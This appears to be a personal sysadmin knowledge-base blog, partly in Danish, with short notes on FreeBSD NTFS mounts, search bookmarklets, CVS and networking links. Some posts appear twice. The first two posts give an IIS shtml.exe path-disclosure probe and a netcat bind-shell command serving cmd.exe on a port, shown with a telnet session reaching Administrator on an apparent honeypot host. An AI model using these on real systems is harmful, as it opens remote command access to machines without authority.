IIS Vuln.

http://1.0.0.13/_vti_bin/shtml.exe/postinfo1.html

svarer med:
"c:\inetpub\wwwroot\postinfo1.html" kan ikke åbnes: Filen eller mappen findes ikke.
Udgivet i Knowledge Base, Old Base, Windows | Skriv en kommentar

Bind shell in windows

nc -L -d -e cmd.exe -p 8080

Will bind a cmd.exe to port 8080

root@camp:~# telnet 1.0.0.13 8080
Trying 1.0.0.13...
Connected to 1.0.0.13.
Escape character is '^]'.
Microsoft Windows 2000 [version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\>whoami
whoami
HONEYPOT\Administrator


nc and whoami are programs installed by my, and not default windoze aps
Udgivet i Knowledge Base, Networking, Old Base, Windows, Workstation | Skriv en kommentar

NTFS i FreeBSD

Add the following to your kernel:
options         NTFS

Add this to /etc/fstab (ofcourse adjust for your system)
/dev/ad3s1    /mnt/boot ntfs    ro      0       0
/dev/ad3s2    /mnt/data ntfs    ro      0       0


Mount with: mount /mnt/data
Udgivet i FreeBSD, Old Base | Skriv en kommentar

bookmarklets

This only works in IE (sigh). I'm working on a mozilla compatible version...
make a .html file with this content and add the bookmarklets to your bookmarks:

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Find funktion:',''))};if(Q)location.href='http://dk2.php.net/search.php?lang=en&show=quickref&pattern='+escape(Q)">Find PHP funktion</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Søg efter:',''))};if(Q)location.href='http://base.fujang.dk/cgi-bin/index.pl?action=query&query='+escape(Q)">Søg på Fujang knowledge base</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Søg efter:',''))};if(Q)location.href='http://www.google.com/search?hl=da&q='+escape(Q)">Søg på google</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Indtast URL til siden:',''))};if(Q)location.href='http://validator.w3.org/check?uri='+escape(Q)">W3c Valider HTML side</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Indtast servernavn: f.eks. www.domæne.com',''))};if(Q)location.href='http://uptime.netcraft.com/up/graph?port=80&host='+escape(Q)">Slå webserver op i Netcraft</a>
<br />
Udgivet i HTML, Old Base, Programmering, Windows | Skriv en kommentar

Bookmarklets

This only works in IE (sigh). I'm working on a mozilla compatible version...
make a .html file with this content and add the bookmarklets to your bookmarks:

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Find funktion:',''))};if(Q)location.href='http://dk2.php.net/search.php?lang=en&show=quickref&pattern='+escape(Q)">Find PHP funktion</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Søg efter:',''))};if(Q)location.href='http://base.fujang.dk/cgi-bin/index.pl?action=query&query='+escape(Q)">Søg på Fujang knowledge base</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Søg efter:',''))};if(Q)location.href='http://www.google.com/search?hl=da&q='+escape(Q)">Søg på google</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Indtast URL til siden:',''))};if(Q)location.href='http://validator.w3.org/check?uri='+escape(Q)">W3c Valider HTML side</a>
<br />

<a href="javascript:Q=document.selection.createRange().text;if(!Q){void(Q=prompt('Indtast servernavn: f.eks. www.domæne.com',''))};if(Q)location.href='http://uptime.netcraft.com/up/graph?port=80&host='+escape(Q)">Slå webserver op i Netcraft</a>
<br />
Udgivet i Knowledge Base | Skriv en kommentar

TCP/IP and tcpdump Guide

Pocket Reference Guide:
http://base.fujang.dk/files/black/tcpip.pdf

Guide to IP Layer Network Administration with Linux:
http://base.fujang.dk/files/black/linux-ip.html

Etheral: 
an alternate packet sniffer

Download:
http://www.ethereal.com/

User guide:
http://www.ethereal.com/docs/user-guide/
Udgivet i Knowledge Base, Links, Linux, Networking, Old Base | Skriv en kommentar

NTFS i FreeBSD

Add the following to your kernel:
options         NTFS

Add this to /etc/fstab (ofcourse adjust for your system)
/dev/ad3s1    /mnt/boot ntfs    ro      0       0
/dev/ad3s2    /mnt/data ntfs    ro      0       0


Mount with: mount /mnt/data
Udgivet i Knowledge Base | Skriv en kommentar

Naming vars(and other shit) with camel notification

VeryLongPassword
for
Very long password
are called camel notification and camel notation.
Udgivet i Knowledge Base | Skriv en kommentar

Naming vars(and other shit) with camel notification

VeryLongPassword
for
Very long password
are called camel notification and camel notation.
Udgivet i Uncategorized | Skriv en kommentar

Remote CVS access

first check if the file ~/.cvspass exists and is readable
else create it with:

  touch ~/.cvspass

start the session by loggin in:

  cvs -d :pserser:user@server:$CVSROOT login

where:
pserver  is the connection method. pserver is the most used
user     is your username at the cvs server
server   is the DNS name or IP of the cvs server
$CVSROOT is the path on the server to the cvs

chdir to the location where you want the local copy, f.ex:

  cd ~/branch

update the local copy with the checkout command:

  cvs -d :pserser:user@server:$CVSROOT checkout branch

where:
branch   is the specific branch you're working on. Leave this out if you want a complete update of the repository

edit the files needed and send them to the cvs server with the commit command:

  cvs -d :pserser:user@server:$CVSROOT commit -m "comment" file

where:
comment  is a comment of your changes
file     is the file you want to update

need more info? look here:
http://www.loria.fr/~molli/cvs/doc/cvs_toc.html
Udgivet i FreeBSD, Knowledge Base, Linux, Windows, Workstation | Skriv en kommentar